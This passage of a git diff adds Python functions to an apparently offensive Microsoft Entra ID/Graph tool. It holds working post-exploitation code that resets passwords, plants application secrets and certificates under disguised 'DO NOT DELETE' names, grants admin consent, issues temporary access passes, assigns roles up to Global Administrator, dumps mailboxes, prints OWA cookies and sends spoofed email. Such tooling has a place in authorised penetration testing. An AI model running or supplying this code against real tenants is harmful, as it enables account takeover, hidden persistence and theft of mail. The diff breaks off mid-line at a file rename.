response.json() + + for group in response_data['value']: + group_id = f"/{group['id']}" + request_body = { + "resourceActionAuthorizationChecks": [ + { + "directoryScopeId": group_id, + "resourceAction": "microsoft.directory/groups/members/update" + } + ] + } + + if group.get('membershipRule') is not None: + #print_green(f"[+] Found dynamic group: {group['displayName']}") + group_out = { + "Group Name": group.get('displayName'), + "Group ID": group.get('id'), + "Description": group.get('description'), + "Is Assignable To Role": group.get('isAssignableToRole'), + "On-Prem Sync Enabled": group.get('onPremisesSyncEnabled'), + "Mail": group.get('mail'), + "Created Date": group.get('createdDateTime'), + "Visibility": group.get('visibility'), + "MembershipRule": group.get('membershipRule'), + "Membership Rule Processing State": group.get('membershipRuleProcessingState') + } + results.append(group_out) + + graph_api_endpoint = response_data.get('@odata.nextLink') + + except requests.exceptions.RequestException as e: + print_red(f"[-] Error fetching Group IDs: {str(e)}") + break + if results: + for result in results: + for key, value in result.items(): + print(f"{key:<35} : {value}") + print() + else: + print_red("[-] No dynamic groups found") + print("=" * 80) + +# find-securitygroups +def find_securitygroups(args): + print_yellow("[*] Find-SecurityGroups") + print("=" * 80) + graph_api_url = "https://graph.microsoft.com/v1.0" + groups_url = f"{graph_api_url}/groups?$filter=securityEnabled eq true" + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'User-Agent': user_agent + } + + groups_with_members = [] + + while groups_url: + try: + response = requests.get(groups_url, headers=headers) + response.raise_for_status() + groups_response = response.json() + groups = groups_response.get('value', []) + except requests.exceptions.RequestException as e: + print_red(f"[-] An error occurred while retrieving security groups: {str(e)}") + return + for group in groups: + group_id = group['id'] + members_url = f"{graph_api_url}/groups/{group_id}/members" + + try: + members_response = requests.get(members_url, headers=headers) + members_response.raise_for_status() + members = members_response.json().get('value', []) + except requests.exceptions.HTTPError as e: + if e.response.status_code == 429: + print_yellow("[*] Being throttled... sleeping for 5 seconds") + time.sleep(5) + else: + print_red(f"[-] An error occurred while retrieving members for group {group['displayName']}: {str(e)}") + continue + + member_info = [ + member.get('userPrincipalName') or member.get('id', '') + for member in members + ] + + group_info = { + "GroupName": group['displayName'], + "GroupId": group_id, + "Members": member_info + } + + groups_with_members.append(group_info) + groups_url = groups_response.get('@odata.nextLink') + + if groups_with_members: + #print_green(f"[*] Found {len(groups_with_members)} security groups\n") + for group in groups_with_members: + print(f"Group Name: {group['GroupName']}") + print(f"Group ID: {group['GroupId']}") + print("Members:") + for member in group['Members']: + print(f" - {member}") + print() + else: + print_red("[-] No security groups found") + print("=" * 80) + +# update-userpassword +def update_userpassword(args): + if not args.id: + print_red("[-] Error: --id required for Update-UserPassword command") + return + + print_yellow("[*] Update-UserPassword") + print("=" * 80) + api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}" + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'Content-Type': 'application/json', + 'User-Agent': user_agent + } + + json_body = { + "passwordProfile": { + "forceChangePasswordNextSignIn": False, + "password": "NewUserSecret@Pass!" + } + } + + response = requests.patch(api_url, headers=headers, data=json.dumps(json_body)) + if response.ok: + print_green("[+] User password profile updated") + + else: + print_red(f"[-] Failed to update user password: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# update-userproperties +def update_userproperties(args): + properties = [ + "aboutMe", "accountEnabled", "ageGroup", "assignedLicenses", "assignedPlans", + "birthday", "businessPhones", "city", "companyName", "consentProvidedForMinor", + "country", "createdDateTime", "department", "displayName", "employeeId", + "faxNumber", "givenName", "hireDate", "id", "imAddresses", "interests", + "isResourceAccount", "jobTitle", "lastPasswordChangeDateTime", "legalAgeGroupClassification", + "licenseAssignmentStates", "mail", "mailboxSettings", "mailNickname", "mobilePhone", + "mySite", "officeLocation", "onPremisesDistinguishedName", "onPremisesDomainName", + "onPremisesImmutableId", "onPremisesLastSyncDateTime", "onPremisesSecurityIdentifier", + "onPremisesSyncEnabled", "onPremisesSamAccountName", "onPremisesUserPrincipalName", + "otherMails", "passwordPolicies", "passwordProfile", "pastProjects", "preferredDataLocation", + "preferredLanguage", "preferredName", "proxyAddresses", "responsibilities", + "schools", "showInAddressList", "skills", "state", "streetAddress", + "surname", "usageLocation", "userPrincipalName", "userType", "webUrl" + ] + + if not args.id: + print_red("[-] Error: --id required for Update-UserProperties command") + return + + print_yellow("[*] Update-UserProperties") + print("=" * 80) + api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}" + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'Content-Type': 'application/json', + 'User-Agent': user_agent + } + + print("\033[34m[>] Property Definitions: https://learn.microsoft.com/en-us/graph/api/user-update\033[0m") + try: + userproperty = input("\nEnter Property: ").strip() + if userproperty not in properties: + print_red(f"\n[-] Error: '{userproperty}' is not a valid property.") + print("=" * 80) + sys.exit() + newvalue = input(f"Enter New '{userproperty}' Value: ").strip() + except KeyboardInterrupt: + sys.exit() + + json_body = { + userproperty : newvalue + } + + response = requests.patch(api_url, headers=headers, data=json.dumps(json_body)) + if response.ok: + print_green("\n[+] User properties updated successfully") + + else: + print_red(f"\n[-] Failed to update user properties: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# add-applicationcertificate +def add_applicationcertificate(args): + openssl = """ +Genrate Certificate: +opessl genrsa -out private.key 2048 +opessl req -new -key private.key -out request.csr +opessl x509 -req -days 365 -in request.csr -signkey private.key -out certificate.crt +opessl pkcs12 -export -out certificate.pfx -inkey private.key -in certificate.crt + +Then supply certificate (public key) with one of the following file types to --cert: +.cer +.pem +.crt + """ + if not args.id or not args.cert: + print_red("[-] Error: --id and --cert required for Add-ApplicationCertificate command") + print_red(openssl) + return + + encoded_cert = read_and_encode_cert(args.cert) + + print_yellow("[*] Add-ApplicationCertificate") + print("=" * 80) + + # 1. Find existing certs so we don't remove them in the patch req + api_url = f"https://graph.microsoft.com/v1.0/applications/{args.id}" + + user_agent = get_user_agent(args) + headers = { + 'Authorization': 'Bearer ' + get_access_token(args.token), + 'Content-Type':'application/json', + 'User-Agent': user_agent + } + + response = requests.get(api_url, headers=headers) + if response.status_code == 200: + applications = response.json() + key_credentials = applications.get('keyCredentials', []) + + else: + print_red(f"[-] Error obtaining existing certificates {response.status_code}") + print_red(response.text) + + # 2. patch app added our cert to the existing + api_url = f"https://graph.microsoft.com/v1.0/applications/{args.id}" + + try: + displayname = input("\nEnter Certificate Display Name: ").strip() + if not displayname: + displayname = "DevOps Certificate - DO NOT DELETE" + + except KeyboardInterrupt: + sys.exit() + + new_key_credential = { + "type": "AsymmetricX509Cert", + "usage": "Verify", + "key": encoded_cert, + "displayName": displayname + } + + key_credentials.append(new_key_credential) + data = { + "keyCredentials": key_credentials + } + + response = requests.patch(api_url, headers=headers, json=data) + if response.ok: + print_green("\n[+] Successfully added application certificate") + else: + print_red(f"\n[-] Failed to add certificate: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# add-applicationpassword +def add_applicationpassword(args): + if not args.id: + print_red("[-] Error: --id required for Add-ApplicationPassword command") + return + + print_yellow("[*] Add-ApplicationPassword") + print("=" * 80) + api_url = f"https://graph.microsoft.com/v1.0/applications/{args.id}/addPassword" + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'Content-Type': 'application/json', + 'User-Agent': user_agent + } + + current_time_utc = datetime.now(timezone.utc) + six_months_later = current_time_utc + timedelta(days=6*30) + formatted_date = six_months_later.strftime("%Y-%m-%dT%H:%M:%SZ") + json_body = {"displayName":"Added by Azure Service Bus - DO NOT DELETE", "endDateTime": formatted_date} + + response = requests.post(api_url, headers=headers, json=json_body) + + if response.ok: + response_body = response.json() + + for key, value in response_body.items(): + if not key.startswith("@odata.context"): + pretty_value = json.dumps(value, indent=4) + if key == "secretText": + print_green(f"{key}: {pretty_value}") + else: + print(f"{key}: {pretty_value}") + else: + print_red(f"[-] Failed to add password: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# add-applicationpermission +def add_applicationpermission(args): + if not args.id: + print_red("[-] Error: --id required for Add-ApplicationPermission command") + return + + print_yellow("[*] Add-ApplicationPermission") + print("=" * 80) + + # 1. check existing permissions + api_url = f"https://graph.microsoft.com/beta/myorganization/applications(appId='{args.id}')" # app id + #api_url = f"https://graph.microsoft.com/v1.0/applications/{args.id}" # object id + + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'User-Agent': user_agent + } + response = requests.get(api_url, headers=headers) + existingperms = [] + if response.status_code == 200: + response_json = response.json() + existingperms = response_json.get('requiredResourceAccess', []) + + # 2. patch perms + api_url = f"https://graph.microsoft.com/beta/myorganization/applications(appId='{args.id}')" # app id + #api_url = f"https://graph.microsoft.com/v1.0/myorganization/applications/{args.id}" # object id + print("\033[34m[>] API Permissions: https://learn.microsoft.com/en-us/graph/permissions-reference\033[0m") + + # permission id validation + def parse_permissionid(content): + soup = BeautifulSoup(content, 'html.parser') + permissions = {} + for h3 in soup.find_all('h3'): + permission_name = h3.get_text() + table = h3.find_next('table') + rows = table.find_all('tr') + application_id = rows[1].find_all('td')[1].get_text() + delegated_id = rows[1].find_all('td')[2].get_text() + application_consent = rows[4].find_all('td')[1].get_text() if len(rows) > 4 else "Unknown" + delegated_consent = rows[4].find_all('td')[2].get_text() if len(rows) > 4 else "Unknown" + permissions[application_id] = ('Application', permission_name, application_consent) + permissions[delegated_id] = ('Delegated', permission_name, delegated_consent) + return permissions + + script_dir = os.path.dirname(os.path.abspath(__file__)) + file_path = os.path.join(script_dir, 'graphpermissions.txt') + + try: + with open(file_path, 'r') as file: + content = file.read() + except FileNotFoundError: + print_red(f"\n[-] The file {file_path} does not exist.") + sys.exit(1) + except Exception as e: + print_red(f"\n[-] An error occurred: {e}") + sys.exit(1) + + permissions = parse_permissionid(content) + + try: + permissionid = input("\nEnter API Permission ID: ").strip() + if permissionid not in permissions: + print_red("\n[-] Invalid permission ID. Not in graphpermissions.txt") + sys.exit(1) + + permission_info = permissions[permissionid] + if len(permission_info) == 3: + permission_type, permission_name, admin_consent_required = permission_info + else: + permission_type, permission_name = permission_info + admin_consent_required = "Unknown" + + print(f"\nPermission ID: {permissionid} corresponds to '{permission_name}' with type '{permission_type}'") + + # grant admin consent option + print(f"Admin Consent Required: {admin_consent_required}") + if admin_consent_required.lower() == 'yes': + grantadminconsent = input(f"\nGrant Admin Consent For: {permission_name}? (yes/no): ").strip().lower() + else: + pass + grantadminconsent = 'no' + + except KeyboardInterrupt: + sys.exit(1) + + if permission_type.lower() == "application": + typevalue = "Role" + elif permission_type.lower() == "delegated": + typevalue = "Scope" + else: + print_red("\n[-] Unexpected error") + print("=" * 80) + sys.exit() + + graphresource = next((resource for resource in existingperms if resource['resourceAppId'] == '00000003-0000-0000-c000-000000000000'), None) # does Microsoft Graph resource already exist + + if graphresource: + graphresource['resourceAccess'].append({ + "id": permissionid, + "type": typevalue + }) + else: + existingperms.append({ + "resourceAppId": "00000003-0000-0000-c000-000000000000", + "resourceAccess": [ + { + "id": permissionid, # b633e1c5-b582-4048-a93e-9f11b44c7e96 -> Mail.Send (Application perm - admin consent required) + "type": typevalue + } + ] + }) + + # assign perm json + data = { + "requiredResourceAccess": existingperms + } + clientAppId = args.id + # admin consent json + admin_data = { + "clientAppId": clientAppId, + "onBehalfOfAll": True, + "checkOnly": False, + "tags": [], + "constrainToRra": True, + "dynamicPermissions": [ + { + "appIdentifier": "00000003-0000-0000-c000-000000000000", + "appRoles": [permission_name], + "scopes": [] + } + ] + } + + response = requests.patch(api_url, headers=headers, json=data) + if grantadminconsent == "no": + if response.ok: + print_green("\n[+] Application permissions updated successfully") + print("=" * 80) + sys.exit() + else: + print_red(f"\n[-] Failed to update application permissions: {response.status_code}") + print_red(response.text) + print("=" * 80) + sys.exit() + + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'User-Agent': user_agent, + 'Content-Type': 'application/json', + } + + # any failures granting admin consent likely due to token scope/perms + if grantadminconsent == "yes": + if response.ok: + print_green("\n[+] Application permissions updated successfully") + print() + custom_bar = '╢{bar:50}╟' + for _ in tqdm(range(5), bar_format='{l_bar}'+custom_bar+'{r_bar}', leave=False, colour='yellow'): + time.sleep(1) + + granturl = "https://graph.microsoft.com/beta/directory/consentToApp" + grantreq = requests.post(granturl, headers=headers, json=admin_data) + + if grantreq.ok: + print_green(f"[+] Admin consent granted for: '{permission_name}'") + else: + print_red(f"\n[-] Failed to grant admin consent: {grantreq.status_code}") + print_red(grantreq.text) + print("=" * 80) + +# grant-appadminconsent +def grant_appadminconsent(args): + if not args.id: + print_red("[-] Error: --id required for Grant-AppAdminConsent command") + return + + print_yellow("[*] Grant-AppAdminConsent") + print("=" * 80) + clientAppId = args.id + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'User-Agent': user_agent, + 'Content-Type': 'application/json', + } + + script_dir = os.path.dirname(os.path.abspath(__file__)) + file_path = os.path.join(script_dir, 'graphpermissions.txt') + + try: + with open(file_path, 'r') as file: + content = file.read() + except FileNotFoundError: + print_red(f"\n[-] The file {file_path} does not exist.") + sys.exit(1) + except Exception as e: + print_red(f"\n[-] An error occurred: {e}") + sys.exit(1) + try: + permission_names = input("\nEnter Permission Names (comma-separated): ").strip().split(',') + permission_names = [name.strip() for name in permission_names] + + except KeyboardInterrupt: + sys.exit() + + invalid_permissions = [name for name in permission_names if name not in content] + + if invalid_permissions: + print_red(f"\n[-] Invalid Graph permissions: {', '.join(invalid_permissions)}") + print("=" * 80) + sys.exit() + admin_data = { + "clientAppId": clientAppId, + "onBehalfOfAll": True, + "checkOnly": False, + "tags": [], + "constrainToRra": True, + "dynamicPermissions": [ + { + "appIdentifier": "00000003-0000-0000-c000-000000000000", + "appRoles": permission_names, + "scopes": [] + } + ] + } + + url = "https://graph.microsoft.com/beta/directory/consentToApp" + request = requests.post(url, headers=headers, json=admin_data) + + if request.ok: + print_green(f"\n[+] Admin consent granted for: '{', '.join(permission_names)}'") + else: + print_red(f"\n[-] Failed to grant admin consent: {request.status_code}") + print_red(request.text) + print("=" * 80) + +# add-userTAP +def add_usertap(args): + if not args.id: + print_red("[-] Error: --id required for Add-UserTAP command") + return + + print_yellow("[*] Add-UserTAP") + print("=" * 80) + api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/authentication/temporaryAccessPassMethods" + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'Content-Type': 'application/json', + 'User-Agent': user_agent + } + + current_time_utc = datetime.now(timezone.utc) + one_hour_later = current_time_utc + timedelta(minutes=60) + formatted_date = one_hour_later.strftime("%Y-%m-%dT%H:%M:%SZ") + + json_body = { + "properties": { + "isUsableOnce": True, + "startDateTime": formatted_date + } + } + + response = requests.post(api_url, headers=headers, data=json.dumps(json_body)) + if response.ok: + response_body = response.json() + + for key, value in response_body.items(): + if not key.startswith("@odata.context"): + pretty_value = json.dumps(value, indent=4) + print(f"{key}: {pretty_value}") + + url = response_body.get("@odata.nextLink") + if url: + response = requests.get(url, headers=headers) + response.raise_for_status() + response_body = response.json() + else: + print_red(f"[-] Failed to add TAP: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# add-groupmember +def add_groupmember(args): + if not args.id: + print_red("[-] Error: --id groupid,objectid required for Add-GroupMember command") + return + + ids = args.id.split(',') + if len(ids) != 2: + print_red("[-] Please provide two IDs separated by a comma (group ID, object ID).") + return + + group_id, member_id = ids[0].strip(), ids[1].strip() + print_yellow("[*] Add-GroupMember") + print("=" * 80) + api_url = f"https://graph.microsoft.com/v1.0/groups/{group_id}/members/$ref" + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'Content-Type': 'application/json', + 'User-Agent': user_agent + } + + json_body = { + "@odata.id": f"https://graph.microsoft.com/v1.0/directoryObjects/{member_id}" + } + + response = requests.post(api_url, headers=headers, data=json.dumps(json_body)) + if response.ok: + print_green("[+] User added to group") + else: + print_red(f"[-] Failed to add group member: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# create-application +def create_application(args): + print_yellow("[*] Create-Application") + print("=" * 80) + api_url = f"https://graph.microsoft.com/v1.0/applications" + + try: + appname = input("\nEnter App Name: ").strip() + except KeyboardInterrupt: + sys.exit() + + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'Content-Type': 'application/json', + 'User-Agent': user_agent + } + + json_body = {"displayName": appname} + + response = requests.post(api_url, headers=headers, data=json.dumps(json_body)) + if response.ok: + print_green("\n[+] Application created\n") + response_body = response.json() + + for key, value in response_body.items(): + if not key.startswith("@odata.context"): + pretty_value = json.dumps(value, indent=4) + print(f"{key}: {pretty_value}") + else: + print_red(f"[-] Failed to create application: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# create-newuser +def create_newuser(args): + print_yellow("[*] Create-NewUser") + print("=" * 80) + + try: + display_name = input("\nEnter Display Name: ").strip() + mail_nickname = input("Enter Mail Nickname: ").strip() + user_principal_name = input("Enter User Principal Name: ").strip() + password = input("Enter Password: ").strip() + except KeyboardInterrupt: + sys.exit() + + api_url = f"https://graph.microsoft.com/v1.0/users/" + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'Content-Type': 'application/json', + 'User-Agent': user_agent + } + + json_body = { + "accountEnabled": True, + "displayName": display_name, + "mailNickname": mail_nickname, + "userPrincipalName": user_principal_name, + "passwordProfile": { + "forceChangePasswordNextSignIn": True, + "password": password + } + } + + response = requests.post(api_url, headers=headers, data=json.dumps(json_body)) + if response.ok: + print_green("\n[+] New user created\n") + response_body = response.json() + + for key, value in response_body.items(): + if not key.startswith("@odata.context"): + pretty_value = json.dumps(value, indent=4) + print(f"{key}: {pretty_value}") + + else: + print_red(f"[-] Failed to create new user: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# invite-guestuser +def invite_guestuser(args): + if not args.tenant: + print_red("[-] Error: --tenant required for Invite-GuestUser command") + return + + print_yellow("[*] Invite-GuestUser") + print("=" * 80) + + try: + email = input("\nEnter Email Address: ").strip() + displayname = input("Enter Display Name: ").strip() + redirecturl = input("Enter Invite Redirect URL (leave blank for default): ").strip() # https://myapplications.microsoft.com/?tenantid=... + sendinvitationmessage = input("Send Email Invitation? (true/false): ").strip().lower() + custommessage = input("Custom Message Body: ").strip() + except KeyboardInterrupt: + sys.exit() + + if redirecturl == "": + redirecturl = f"https://myapplications.microsoft.com/?tenantid={args.tenant}" + + api_url = f"https://graph.microsoft.com/v1.0/invitations" + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'Content-Type': 'application/json', + 'User-Agent': user_agent + } + + json_body = { + "invitedUserEmailAddress": email, + "invitedUserDisplayName": displayname, + "inviteRedirectUrl": redirecturl, + "sendInvitationMessage": sendinvitationmessage, + "invitedUserMessageInfo": { + "customizedMessageBody": custommessage + } + } + + response = requests.post(api_url, headers=headers, data=json.dumps(json_body)) + if response.ok: + print_green("\n[+] Guest user invited\n") + response_body = response.json() + + for key, value in response_body.items(): + if not key.startswith("@odata.context"): + pretty_value = json.dumps(value, indent=4) + print(f"{key}: {pretty_value}") + + else: + print_red(f"[-] Failed to invite guest user: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# assign-privilegedrole +def assign_privilegedrole(args): + roles = [ + {"displayName": "Password Administrator", "roleTemplateId": "966707d0-3269-4727-9be2-8c3a10f19b9d", "description": "Can reset passwords for non-administrators and Password Administrators."}, + {"displayName": "Global Reader", "roleTemplateId": "f2ef992c-3afb-46b9-b7cf-a126ee74c451", "description": "Can read everything that a Global Administrator can, but not update anything."}, + {"displayName": "Directory Synchronization Accounts", "roleTemplateId": "d29b2b05-8046-44ba-8758-1e26182fcf32", "description": "Only used by Microsoft Entra Connect and Microsoft Entra Cloud Sync services."}, + {"displayName": "Security Reader", "roleTemplateId": "5d6b6bb7-de71-4623-b4af-96380a352509", "description": "Can read security information and reports in Microsoft Entra ID and Office 365."}, + {"displayName": "Privileged Authentication Administrator", "roleTemplateId": "7be44c8a-adaf-4e2a-84d6-ab2649e08a13", "description": "Can access to view, set and reset authentication method information for any user (admin or non-admin)."}, + {"displayName": "Azure AD Joined Device Local Administrator", "roleTemplateId": "9f06204d-73c1-4d4c-880a-6edb90606fd8", "description": "Users with this role can locally administer Azure AD joined devices."}, + {"displayName": "Authentication Administrator", "roleTemplateId": "c4e39bd9-1100-46d3-8c65-fb160da0071f", "description": "Can access to view, set and reset authentication method information for any non-admin user."}, + {"displayName": "Groups Administrator", "roleTemplateId": "fdd7a751-b60b-444a-984c-02652fe8fa1c", "description": "Can manage all aspects of groups and group settings like naming and expiration policies."}, + {"displayName": "Application Administrator", "roleTemplateId": "9b895d92-2cd3-44c7-9d02-a6ac2d5ea5c3", "description": "Can create and manage all aspects of app registrations and enterprise apps."}, + {"displayName": "Helpdesk Administrator", "roleTemplateId": "729827e3-9c14-49f7-bb1b-9608f156bbb8", "description": "Can reset passwords for non-administrators and Helpdesk Administrators."}, + {"displayName": "Directory Readers", "roleTemplateId": "88d8e3e3-8f55-4a1e-953a-9b9898b8876b", "description": "Can read basic directory information. Not intended for granting access to applications."}, + {"displayName": "User Administrator", "roleTemplateId": "fe930be7-5e62-47db-91af-98c3a49a38b1", "description": "Can manage all aspects of users and groups, including resetting passwords for limited admins."}, + {"displayName": "Global Administrator", "roleTemplateId": "62e90394-69f5-4237-9190-012177145e10", "description": "Can manage all aspects of Microsoft Entra ID and Microsoft services that use Microsoft Entra identities."}, + {"displayName": "Intune Administrator", "roleTemplateId": "3a2c62db-5318-420d-8d74-23affee5d9d5", "description": "Can manage all aspects of the Intune product."}, + {"displayName": "Application Developer", "roleTemplateId": "cf1c38e5-3621-4004-a7cb-879624dced7c", "description": "Can create application registrations independent of the 'Users can register applications' setting."}, + {"displayName": "Authentication Extensibility Administrator", "roleTemplateId": "25a516ed-2fa0-40ea-a2d0-12923a21473a", "description": "Customize sign in and sign up experiences for users by creating and managing custom authentication extensions."}, + {"displayName": "B2C IEF Keyset Administrator", "roleTemplateId": "aaf43236-0c0d-4d5f-883a-6955382ac081", "description": "Can manage secrets for federation and encryption in the Identity Experience Framework (IEF)."}, + {"displayName": "Cloud Application Administrator", "roleTemplateId": "158c047a-c907-4556-b7ef-446551a6b5f7", "description": "Can create and manage all aspects of app registrations and enterprise apps except App Proxy."}, + {"displayName": "Cloud Device Administrator", "roleTemplateId": "7698a772-787b-4ac8-901f-60d6b08affd2", "description": "Limited access to manage devices in Microsoft Entra ID."}, + {"displayName": "Conditional Access Administrator", "roleTemplateId": "b1be1c3e-b65d-4f19-8427-f6fa0d97feb9", "description": "Can manage Conditional Access capabilities."}, + {"displayName": "Directory Writers", "roleTemplateId": "9360feb5-f418-4baa-8175-e2a00bac4301", "description": "Can read and write basic directory information. For granting access to applications, not intended for users."}, + {"displayName": "Domain Name Administrator", "roleTemplateId": "8329153b-31d0-4727-b945-745eb3bc5f31", "description": "Can manage domain names in cloud and on-premises."}, + {"displayName": "External Identity Provider Administrator", "roleTemplateId": "be2f45a1-457d-42af-a067-6ec1fa63bc45", "description": "Can configure identity providers for use in direct federation."}, + {"displayName": "Hybrid Identity Administrator", "roleTemplateId": "8ac3fc64-6eca-42ea-9e69-59f4c7b60eb2", "description": "Manage Active Directory to Microsoft Entra cloud provisioning, Microsoft Entra Connect, pass-through authentication (PTA), password hash synchronization (PHS), seamless single sign-on (seamless SSO), and federation settings. Does not have access to manage Microsoft Entra Connect Health."}, + {"displayName": "Lifecycle Workflows Administrator", "roleTemplateId": "59d46f88-662b-457b-bceb-5c3809e5908f", "description": "Create and manage all aspects of workflows and tasks associated with Lifecycle Workflows in Microsoft Entra ID."}, + {"displayName": "Privileged Role Administrator", "roleTemplateId": "e8611ab8-c189-46e8-94e1-60213ab1f814", "description": "Can manage role assignments in Microsoft Entra ID, and all aspects of Privileged Identity Management."}, + {"displayName": "Security Administrator", "roleTemplateId": "194ae4cb-b126-40b2-bd5b-6091b380977d", "description": "Can read security information and reports, and manage configuration in Microsoft Entra ID and Office 365."}, + {"displayName": "Security Operator", "roleTemplateId": "5f2222b1-57c3-48ba-8ad5-d4759f1fde6f", "description": "Creates and manages security events."} + ] + print_yellow("[*] Assign-PrivilegedRole") + print("=" * 80) + + table = [[role["displayName"], role["roleTemplateId"], role["description"]] for role in roles] + separator = ['-' * 20, '-' * 20, '-' * 20] + print(tabulate([["Display Name", "Role Template ID", "Description"]] + [separator] + table, headers="firstrow", tablefmt="plain", colalign=("left", "left", "left"))) + + try: + roleid = input("\nEnter Role Template ID: ").strip() + objectid = input("Enter Object ID (user/group id): ").strip() + scopeid = input("Enter Scope ID (enter '/' for tenant wide): ").strip() # e.g. "/administrativeUnits/5d107bba-d8e2-4e13-b6ae-884be90e5d1a" or / for tenant wide scope + except KeyboardInterrupt: + sys.exit() + + api_url = f"https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments" + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'Content-Type': 'application/json', + 'User-Agent': user_agent + } + + json_body = { + "@odata.type": "#microsoft.graph.unifiedRoleAssignment", + "roleDefinitionId": roleid, + "principalId": objectid, + "directoryScopeId": scopeid + } + response = requests.post(api_url, headers=headers, data=json.dumps(json_body)) + if response.ok: + print_green("\n[+] Role assigned\n") + response_body = response.json() + + for key, value in response_body.items(): + if not key.startswith("@odata.context"): + pretty_value = json.dumps(value, indent=4) + print(f"{key}: {pretty_value}") + + else: + print_red(f"\n[-] Failed to assign role: {response.status_code}") + print_red(response.text) + print("=" * 80) + +# open-owamailboxinbrowser +# - check this is still valid +def open_owamailboxinbrowser(args): + print_yellow("[*] Open-OWAMailboxInBrowser") + print("=" * 80) + user_agent = get_user_agent(args) + headers = { + "Authorization": f"Bearer {get_access_token(args.token)}", + "User-Agent": user_agent + } + + if args.only_return_cookies: + try: + response = requests.get("https://substrate.office.com/owa/", headers=headers, allow_redirects=False) + print_green("[+] Cookies:") + print(response.headers.get('Set-Cookie')) + except requests.RequestException as e: + print_red(f"[-] Error making request: {str(e)}") + else: + print("To open the OWA mailbox in a browser using a Substrate Access Token:") + print("1. Open a new BurpSuite Repeater tab & set the Target to 'https://substrate.office.com'") + print("2. Paste the below request into Repeater & Send") + print("3. Right click the response > 'Show response in browser', then open the response in Burp's embedded browser") + print("4. Refresh the page to access the mailbox") + print() + print("GET /owa/ HTTP/1.1") + print(f"Host: substrate.office.com") + print(f"Authorization: Bearer {get_access_token(args.token)}") + print() + print("=" * 80) + +# dump-owamailbox +def dump_owamailbox(args): + if not args.mail_folder: + print_red("[-] Mail folder --mail-folder is required for this command.") + return + + if args.id: + base_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/mailFolders/{args.mail_folder}/messages" + else: + base_url = f"https://graph.microsoft.com/v1.0/me/mailFolders/{args.mail_folder}/messages" + + query_params = [] + + if args.select: + query_params.append(f"$select={args.select}") + if args.top: + query_params.append(f"$top={args.top}") + if query_params: + api_url = f"{base_url}?" + "&".join(query_params) + else: + api_url = base_url + + max_results = 400 + print_yellow("[*] Dump-OWAMailbox") + print("=" * 80) + user_agent = get_user_agent(args) + headers = { + "Authorization": f"Bearer {get_access_token(args.token)}", + "User-Agent": user_agent + } + + try: + response = requests.get(api_url, headers=headers) + response.raise_for_status() + response_body = response.json() + filtered_data = {key: value for key, value in response_body.items() if not key.startswith("@odata")} + if filtered_data: + if not filtered_data.get('value'): + print_red("[-] No data found") + return + email_count = 1 + for d in filtered_data.get('value', []): + print_green(f"Email {email_count}") + for key, value in d.items(): + print(f"{key} : {value}") + print("\n") + email_count += 1 + + url = response_body.get("@odata.nextLink") + if url: + response = requests.get(url, headers=headers) + response.raise_for_status() + response_body = response.json() + + except requests.RequestException as e: + print_red(f"[-] Error making request: {str(e)}") + print("=" * 80) + +# spoof-owaemailmessage +def spoof_owaemailmessage(args): + if not args.email: + print_red("[-] Error: --email argument is required for Spoof-OWAEmailMessage command") + return + + print_yellow("[*] Spoof-OWAEmailMessage") + print("=" * 80) + api_url = "https://graph.microsoft.com/v1.0/me/sendMail" + + if args.id: + api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/sendMail" + user_agent = get_user_agent(args) + headers = { + 'Authorization': f'Bearer {get_access_token(args.token)}', + 'Content-Type': 'application/json', + 'User-Agent': user_agent + } + + try: + subject = input("\nEnter Subject: ").strip() + torecipients = input("Enter toRecipients (comma-separated): ").strip() + ccrecipients = input("Enter ccRecipients (comma-separated): ").strip() + savetf = input("Save To Sent Items (true/false): ").strip().lower() == 'true' + except KeyboardInterrupt: + sys.exit() + + to_recipients = [{"emailAddress": {"address": email.strip()}} for email in torecipients.split(',') if email.strip()] + cc_recipients = [{"emailAddress": {"address": email.strip()}} for email in ccrecipients.split(',') if email.strip()] + content = read_file_content(args.email) + json_body = { + "message": { + "subject": subject, + "body": { + "contentType": "Text", + "content": content + }, + "toRecipients": to_recipients, + "ccRecipients": cc_recipients + }, + "saveToSentItems": savetf + } + + # Add attachment option - check what other files are supported... + # "attachments": [ + # { + # "@odata.type": "#microsoft.graph.fileAttachment", + # "name": "attachment.txt", + # "contentType": "text/plain", + # "contentBytes": "SGVsbG8gV29ybGQh" + # } + # ] + + response = requests.post(api_url, headers=headers, json=json_body) + if response.ok: + print_green("\n[+] Email sent successfully") + + else: + print_red(f"\n[-] Failed to send OWA email message: {response.status_code}") + print_red(response.text) + print("=" * 80) \ No newline at end of file diff --git a/.github/graphpermissions.txt b/Graphpython/commands/graphpermissions.txt similarity index 100% rename from .github/graphpermissions.txt rename to 